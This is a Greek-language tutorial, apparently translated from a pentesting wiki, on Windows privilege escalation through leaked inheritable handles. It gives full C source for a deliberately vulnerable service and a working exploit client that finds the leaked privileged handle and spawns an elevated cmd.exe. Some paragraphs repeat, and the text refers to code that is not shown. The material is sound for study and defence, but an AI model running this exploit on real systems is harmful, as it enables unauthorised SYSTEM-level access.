Οι χειριστές σε μια διαδικασία επιτρέπουν την πρόσβαση σε διάφορους πόρους των Windows:
Έχουν ήδη υπάρξει αρκετές περιπτώσεις κλιμάκωσης προνομίων όπου μια προνομιακή διαδικασία με ανοιχτούς και κληρονομούμενους χειριστές έχει εκτελέσει μια μη προνομιακή διαδικασία δίνοντάς της πρόσβαση σε όλους αυτούς τους χειριστές.
Για παράδειγμα, φανταστείτε ότι μια διαδικασία που εκτελείται ως SYSTEM ανοίγει μια νέα διαδικασία (OpenProcess()) με πλήρη πρόσβαση. Η ίδια διαδικασία δημιουργεί επίσης μια νέα διαδικασία (CreateProcess()) με χαμηλά προνόμια αλλά κληρονομώντας όλους τους ανοιχτούς χειριστές της κύριας διαδικασίας.
Στη συνέχεια, αν έχετε πλήρη πρόσβαση στη διαδικασία με χαμηλά προνόμια, μπορείτε να αποκτήσετε τον ανοιχτό χειριστή της προνομιακής διαδικασίας που δημιουργήθηκε με OpenProcess() και να εισάγετε ένα shellcode.
Ενδιαφέροντες Χειριστές
Διαδικασία
Όπως διαβάσατε στο αρχικό παράδειγμα, αν μια μη προνομιακή διαδικασία κληρονομήσει έναν χειριστή διαδικασίας από μια προνομιακή διαδικασία με αρκετές άδειες, θα είναι σε θέση να εκτελέσει τυχαίο κώδικα σε αυτήν.
Στο αυτό το εξαιρετικό άρθρο μπορείτε να δείτε πώς να εκμεταλλευτείτε οποιονδήποτε χειριστή διαδικασίας που έχει οποιαδήποτε από τις παρακάτω άδειες:
PROCESS_ALL_ACCESS
PROCESS_CREATE_PROCESS
PROCESS_CREATE_THREAD
PROCESS_DUP_HANDLE
PROCESS_VM_WRITE
Νήμα
Παρόμοια με τους χειριστές διαδικασίας, αν μια μη προνομιακή διαδικασία κληρονομήσει έναν χειριστή νήματος από μια προνομιακή διαδικασία με αρκετές άδειες, θα είναι σε θέση να εκτελέσει τυχαίο κώδικα σε αυτήν.
Στο αυτό το εξαιρετικό άρθρο μπορείτε επίσης να δείτε πώς να εκμεταλλευτείτε οποιονδήποτε χειριστή διαδικασίας που έχει οποιαδήποτε από τις παρακάτω άδειες:
THREAD_ALL_ACCESS
THREAD_DIRECT_IMPERSONATION
THREAD_SET_CONTEXT
Χειριστές Αρχείων, Κλειδιών & Τμημάτων
Αν μια μη προνομιακή διαδικασία κληρονομήσει έναν χειριστή με άδειες ισοδύναμες με γράψιμο σε ένα προνομιακό αρχείο ή μητρώο, θα είναι σε θέση να επικαλύψει το αρχείο/μητρώο (και με πολλή τύχη, να κλιμακώσει τα προνόμια).
Οι Χειριστές Τμημάτων είναι παρόμοιοι με τους χειριστές αρχείων, το κοινό όνομα αυτού του είδους αντικειμένων είναι "File Mapping". Χρησιμοποιούνται για να εργάζονται με μεγάλα αρχεία χωρίς να κρατούν ολόκληρο το αρχείο στη μνήμη. Αυτό καθιστά την εκμετάλλευση κάπως "παρόμοια" με την εκμετάλλευση ενός Χειριστή Αρχείου.
Πώς να δείτε τους χειριστές διαδικασιών
Process Hacker
Process Hacker είναι ένα εργαλείο που μπορείτε να κατεβάσετε δωρεάν. Έχει πολλές εκπληκτικές επιλογές για να επιθεωρήσετε διαδικασίες και μία από αυτές είναι η ικανότητα να βλέπετε τους χειριστές κάθε διαδικασίας.
Σημειώστε ότι για να δείτε όλους τους χειριστές όλων των διαδικασιών, απαιτείται το SeDebugPrivilege (οπότε πρέπει να εκτελέσετε το Process Hacker ως διαχειριστής).
Για να δείτε τους χειριστές μιας διαδικασίας, κάντε δεξί κλικ στη διαδικασία και επιλέξτε Χειριστές:
Μπορείτε στη συνέχεια να κάνετε δεξί κλικ στον χειριστή και να ελέγξετε τις άδειες:
Sysinternals Handles
Το Handlesδυαδικό από το Sysinternals θα καταγράψει επίσης τους χειριστές ανά διαδικασία στην κονσόλα:
LeakedHandlesFinder
Αυτό το εργαλείο σας επιτρέπει να παρακολουθείτε τους διαρρέοντες χειριστές και ακόμη και να τους εκμεταλλεύεστε αυτόματα για να κλιμακώσετε τα προνόμια.
Μεθοδολογία
Τώρα που ξέρετε πώς να βρείτε τους χειριστές διαδικασιών, αυτό που πρέπει να ελέγξετε είναι αν κάποια μη προνομιακή διαδικασία έχει πρόσβαση σε προνομιακούς χειριστές. Σε αυτή την περίπτωση, ο χρήστης της διαδικασίας θα μπορούσε να είναι σε θέση να αποκτήσει τον χειριστή και να τον καταχραστεί για να κλιμακώσει τα προνόμια.
Είχε αναφερθεί προηγουμένως ότι χρειάζεστε το SeDebugPrivilege για να έχετε πρόσβαση σε όλους τους χειριστές. Αλλά ένας χρήστης μπορεί ακόμα να έχει πρόσβαση στους χειριστές των διαδικασιών του, οπότε μπορεί να είναι χρήσιμο αν θέλετε να κάνετε privesc μόνο από αυτόν τον χρήστη για να εκτελέσετε τα εργαλεία με τις κανονικές άδειες του χρήστη.
Για παράδειγμα, ο παρακάτω κώδικας ανήκει σε μια υπηρεσία Windows που θα ήταν ευάλωτη. Ο ευάλωτος κώδικας αυτού του δυαδικού αρχείου υπηρεσίας βρίσκεται μέσα στη Συνάρτηση Εκμετάλλευσης. Αυτή η συνάρτηση ξεκινά δημιουργώντας μια νέα διαδικασία χειρισμού με πλήρη πρόσβαση. Στη συνέχεια, δημιουργεί μια διαδικασία χαμηλών δικαιωμάτων (αντιγράφοντας το χαμηλό δικαίωμα του explorer.exe) εκτελώντας C:\users\username\desktop\client.exe. Η ευπάθεια έγκειται στο γεγονός ότι δημιουργεί τη διαδικασία χαμηλών δικαιωμάτων με bInheritHandles ως TRUE.
Επομένως, αυτή η διαδικασία χαμηλών δικαιωμάτων είναι σε θέση να αποκτήσει το χειριστήριο της διαδικασίας υψηλών δικαιωμάτων που δημιουργήθηκε πρώτα και να εισάγει και να εκτελέσει έναν κώδικα shell (βλ. επόμενη ενότητα).
#include<windows.h>#include<tlhelp32.h>#include<tchar.h>#pragmacomment (lib, "advapi32")TCHAR* serviceName =TEXT("HandleLeakSrv");SERVICE_STATUS serviceStatus;SERVICE_STATUS_HANDLE serviceStatusHandle =0;HANDLE stopServiceEvent =0;//Find PID of a proces from its nameintFindTarget(constchar*procname) {HANDLE hProcSnap;PROCESSENTRY32 pe32;int pid =0;hProcSnap =CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);if (INVALID_HANDLE_VALUE == hProcSnap) return0;pe32.dwSize =sizeof(PROCESSENTRY32);if (!Process32First(hProcSnap,&pe32)) {CloseHandle(hProcSnap);return0;}while (Process32Next(hProcSnap,&pe32)) {if (lstrcmpiA(procname,pe32.szExeFile)==0) {pid =pe32.th32ProcessID;break;}}CloseHandle(hProcSnap);return pid;}intExploit(void) {STARTUPINFOA si;PROCESS_INFORMATION pi;int pid =0;HANDLE hUserToken;HANDLE hUserProc;HANDLE hProc;// open a handle to itself (privileged process) - this gets leaked!hProc =OpenProcess(PROCESS_ALL_ACCESS,TRUE, GetCurrentProcessId());// get PID of user low privileged processif ( pid =FindTarget("explorer.exe") )hUserProc =OpenProcess(PROCESS_QUERY_INFORMATION,FALSE, pid);elsereturn-1;// extract low privilege token from a user's processif (!OpenProcessToken(hUserProc, TOKEN_ALL_ACCESS,&hUserToken)) {CloseHandle(hUserProc);return-1;}// spawn a child process with low privs and leaked handleZeroMemory(&si,sizeof(si));si.cb =sizeof(si);ZeroMemory(&pi,sizeof(pi));CreateProcessAsUserA(hUserToken,"C:\\users\\username\\Desktop\\client.exe",NULL,NULL,NULL,TRUE,0,NULL,NULL,&si,&pi);CloseHandle(hProc);CloseHandle(hUserProc);return0;}void WINAPI ServiceControlHandler( DWORD controlCode ) {switch ( controlCode ) {case SERVICE_CONTROL_SHUTDOWN:case SERVICE_CONTROL_STOP:serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;SetServiceStatus( serviceStatusHandle,&serviceStatus );SetEvent( stopServiceEvent );return;case SERVICE_CONTROL_PAUSE:break;case SERVICE_CONTROL_CONTINUE:break;case SERVICE_CONTROL_INTERROGATE:break;default:break;}SetServiceStatus( serviceStatusHandle,&serviceStatus );}void WINAPI ServiceMain( DWORD argc, TCHAR* argv[] ) {// initialise service statusserviceStatus.dwServiceType = SERVICE_WIN32;serviceStatus.dwCurrentState = SERVICE_STOPPED;serviceStatus.dwControlsAccepted =0;serviceStatus.dwWin32ExitCode = NO_ERROR;serviceStatus.dwServiceSpecificExitCode = NO_ERROR;serviceStatus.dwCheckPoint =0;serviceStatus.dwWaitHint =0;serviceStatusHandle =RegisterServiceCtrlHandler( serviceName, ServiceControlHandler );if ( serviceStatusHandle ) {// service is startingserviceStatus.dwCurrentState = SERVICE_START_PENDING;SetServiceStatus( serviceStatusHandle,&serviceStatus );// do initialisation herestopServiceEvent =CreateEvent( 0,FALSE,FALSE,0 );// runningserviceStatus.dwControlsAccepted |= (SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);serviceStatus.dwCurrentState = SERVICE_RUNNING;SetServiceStatus( serviceStatusHandle,&serviceStatus );Exploit();WaitForSingleObject( stopServiceEvent,-1 );// service was stoppedserviceStatus.dwCurrentState = SERVICE_STOP_PENDING;SetServiceStatus( serviceStatusHandle,&serviceStatus );// do cleanup hereCloseHandle( stopServiceEvent );stopServiceEvent =0;// service is now stoppedserviceStatus.dwControlsAccepted &=~(SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);serviceStatus.dwCurrentState = SERVICE_STOPPED;SetServiceStatus( serviceStatusHandle,&serviceStatus );}}voidInstallService() {SC_HANDLE serviceControlManager =OpenSCManager( 0,0, SC_MANAGER_CREATE_SERVICE );if ( serviceControlManager ) {TCHAR path[ _MAX_PATH +1 ];if ( GetModuleFileName( 0, path,sizeof(path)/sizeof(path[0]) )>0 ) {SC_HANDLE service =CreateService( serviceControlManager,serviceName, serviceName,SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, path,0,0,0,0,0 );if ( service )CloseServiceHandle( service );}CloseServiceHandle( serviceControlManager );}}voidUninstallService() {SC_HANDLE serviceControlManager =OpenSCManager( 0,0, SC_MANAGER_CONNECT );if ( serviceControlManager ) {SC_HANDLE service =OpenService( serviceControlManager,serviceName, SERVICE_QUERY_STATUS | DELETE );if ( service ) {SERVICE_STATUS serviceStatus;if ( QueryServiceStatus( service,&serviceStatus ) ) {if ( serviceStatus.dwCurrentState == SERVICE_STOPPED )DeleteService( service );}CloseServiceHandle( service );}CloseServiceHandle( serviceControlManager );}}int_tmain( int argc, TCHAR* argv[] ){if ( argc >1&&lstrcmpi( argv[1], TEXT("install") )==0 ) {InstallService();}elseif ( argc >1&&lstrcmpi( argv[1], TEXT("uninstall") )==0 ) {UninstallService();}else {SERVICE_TABLE_ENTRY serviceTable[]= {{ serviceName, ServiceMain },{ 0,0 }};StartServiceCtrlDispatcher( serviceTable );}return0;}
Exploit Example 1
Σε ένα πραγματικό σενάριο πιθανότατα δεν θα μπορείτε να ελέγξετε το δυαδικό αρχείο που θα εκτελεστεί από τον ευάλωτο κώδικα (C:\users\username\desktop\client.exe σε αυτή την περίπτωση). Πιθανότατα θα συμβιβάσετε μια διαδικασία και θα χρειαστεί να δείτε αν μπορείτε να αποκτήσετε πρόσβαση σε οποιοδήποτε ευάλωτο handle οποιασδήποτε προνομιακής διαδικασίας.
Σε αυτό το παράδειγμα μπορείτε να βρείτε τον κώδικα ενός πιθανού exploit για C:\users\username\desktop\client.exe.
Το πιο ενδιαφέρον μέρος αυτού του κώδικα βρίσκεται στη GetVulnProcHandle. Αυτή η συνάρτηση θα ξεκινήσει να ανακτά όλα τα handles, στη συνέχεια θα ελέγξει αν κάποιο από αυτά ανήκει στην ίδια PID και αν το handle ανήκει σε μια διαδικασία. Εάν πληρούνται όλες αυτές οι προϋποθέσεις (βρεθεί ένα προσβάσιμο ανοιχτό handle διαδικασίας), προσπαθεί να εισάγει και να εκτελέσει ένα shellcode εκμεταλλευόμενο το handle της διαδικασίας.
Η εισαγωγή του shellcode γίνεται μέσα στη Inject συνάρτηση και θα γράψει απλώς το shellcode μέσα στην προνομιακή διαδικασία και θα δημιουργήσει ένα νήμα μέσα στην ίδια διαδικασία για να εκτελέσει το shellcode).
Σε ένα πραγματικό σενάριο πιθανότατα δεν θα μπορείτε να ελέγξετε το δυαδικό αρχείο που πρόκειται να εκτελεστεί από τον ευάλωτο κώδικα (C:\users\username\desktop\client.exe σε αυτή την περίπτωση). Πιθανότατα θα συμβιβάσετε μια διαδικασία και θα χρειαστεί να δείτε αν μπορείτε να αποκτήσετε πρόσβαση σε οποιοδήποτε ευάλωτο handle οποιασδήποτε προνομιακής διαδικασίας.
Σε αυτό το παράδειγμα, αντί να εκμεταλλευτείτε το ανοιχτό handle για να εισάγετε και να εκτελέσετε ένα shellcode, θα χρησιμοποιηθεί το token της προνομιακής διαδικασίας με το ανοιχτό handle για να δημιουργηθεί ένα νέο. Αυτό γίνεται στις γραμμές από 138 έως 148.
Σημειώστε πώς η λειτουργία UpdateProcThreadAttribute χρησιμοποιείται με το χαρακτηριστικό PROC_THREAD_ATTRIBUTE_PARENT_PROCESS και το handle της ανοιχτής προνομιακής διαδικασίας. Αυτό σημαίνει ότι το δημιουργημένο νήμα διαδικασίας που εκτελεί _cmd.exe_** θα έχει το ίδιο προνόμιο token με την ανοιχτή διαδικασία handle**.
#include<windows.h>#include<stdio.h>#include<stdlib.h>#include<string.h>#include<time.h>#include<wincrypt.h>#include<psapi.h>#include<tchar.h>#include<tlhelp32.h>#include"client.h"#pragmacomment (lib, "crypt32.lib")#pragmacomment (lib, "advapi32")#pragmacomment (lib, "kernel32")HANDLE GetVulnProcHandle(void) {ULONG handleInfoSize =0x10000;NTSTATUS status;PSYSTEM_HANDLE_INFORMATION phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) malloc(handleInfoSize);HANDLE hProc =NULL;POBJECT_TYPE_INFORMATION objectTypeInfo;PVOID objectNameInfo;UNICODE_STRING objectName;ULONG returnLength;HMODULE hNtdll =GetModuleHandleA("ntdll.dll");DWORD dwOwnPID =GetCurrentProcessId();pNtQuerySystemInformation =GetProcAddress(hNtdll,"NtQuerySystemInformation");pNtDuplicateObject =GetProcAddress(hNtdll,"NtDuplicateObject");pNtQueryObject =GetProcAddress(hNtdll,"NtQueryObject");pRtlEqualUnicodeString =GetProcAddress(hNtdll,"RtlEqualUnicodeString");pRtlInitUnicodeString =GetProcAddress(hNtdll,"RtlInitUnicodeString");printf("[+] Grabbing handles...");while ((status =pNtQuerySystemInformation( SystemHandleInformation, phHandleInfo, handleInfoSize,NULL )) == STATUS_INFO_LENGTH_MISMATCH)phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) realloc(phHandleInfo, handleInfoSize *=2);if (status != STATUS_SUCCESS){printf("[!] NtQuerySystemInformation failed!\n");return0;}printf("done.\n[+] Fetched %d handles.\n",phHandleInfo->NumberOfHandles);// iterate handles until we find the privileged process handlefor (int i =0; i <phHandleInfo->NumberOfHandles; ++i){SYSTEM_HANDLE_TABLE_ENTRY_INFO handle =phHandleInfo->Handles[i];// Check if this handle belongs to our own processif (handle.UniqueProcessId != dwOwnPID)continue;objectTypeInfo = (POBJECT_TYPE_INFORMATION) malloc(0x1000);if (pNtQueryObject( (HANDLE) handle.HandleValue,ObjectTypeInformation,objectTypeInfo,0x1000,NULL )!= STATUS_SUCCESS)continue;// skip some objects to avoid getting stuck// see: https://github.com/adamdriscoll/PoshInternals/issues/7if (handle.GrantedAccess ==0x0012019f&&handle.GrantedAccess !=0x00120189&&handle.GrantedAccess !=0x120089&&handle.GrantedAccess !=0x1A019F ) {free(objectTypeInfo);continue;}// get object name informationobjectNameInfo =malloc(0x1000);if (pNtQueryObject( (HANDLE) handle.HandleValue,ObjectNameInformation,objectNameInfo,0x1000,&returnLength )!= STATUS_SUCCESS) {// adjust the size of a returned object and query againobjectNameInfo =realloc(objectNameInfo, returnLength);if (pNtQueryObject( (HANDLE) handle.HandleValue,ObjectNameInformation,objectNameInfo,returnLength,NULL )!= STATUS_SUCCESS) {free(objectTypeInfo);free(objectNameInfo);continue;}}// check if we've got a process objectobjectName =*(PUNICODE_STRING) objectNameInfo;UNICODE_STRING pProcess;pRtlInitUnicodeString(&pProcess, L"Process");if (pRtlEqualUnicodeString(&objectTypeInfo->TypeName,&pProcess,TRUE)) {printf("[+] Found process handle (%x)\n",handle.HandleValue);hProc = (HANDLE) handle.HandleValue;free(objectTypeInfo);free(objectNameInfo);break;}elsecontinue;free(objectTypeInfo);free(objectNameInfo);}return hProc;}intmain(int argc,char**argv) {HANDLE hProc =NULL;STARTUPINFOEXA si;PROCESS_INFORMATION pi;int pid =0;SIZE_T size;BOOL ret;Sleep(20000);// find leaked process handlehProc =GetVulnProcHandle();if ( hProc !=NULL) {// Adjust proess attributes with PROC_THREAD_ATTRIBUTE_PARENT_PROCESSZeroMemory(&si,sizeof(STARTUPINFOEXA));InitializeProcThreadAttributeList(NULL,1,0,&size);si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST) HeapAlloc( GetProcessHeap(),0, size );InitializeProcThreadAttributeList(si.lpAttributeList,1,0,&size);UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hProc, sizeof(HANDLE), NULL, NULL);
si.StartupInfo.cb =sizeof(STARTUPINFOEXA);// Spawn elevated cmd processret =CreateProcessA( "C:\\Windows\\system32\\cmd.exe",NULL,NULL,NULL,TRUE,EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE,NULL,NULL, (LPSTARTUPINFOA)(&si),&pi );if (ret ==FALSE) {printf("[!] Error spawning new process: [%d]\n", GetLastError());return-1;}}Sleep(20000);return0;}
Αυτό το εργαλείο σας επιτρέπει να παρακολουθείτε τα leaked handles για να βρείτε ευάλωτα και ακόμη και να τα εκμεταλλευτείτε αυτόματα. Έχει επίσης ένα εργαλείο για να διαρρεύσει ένα.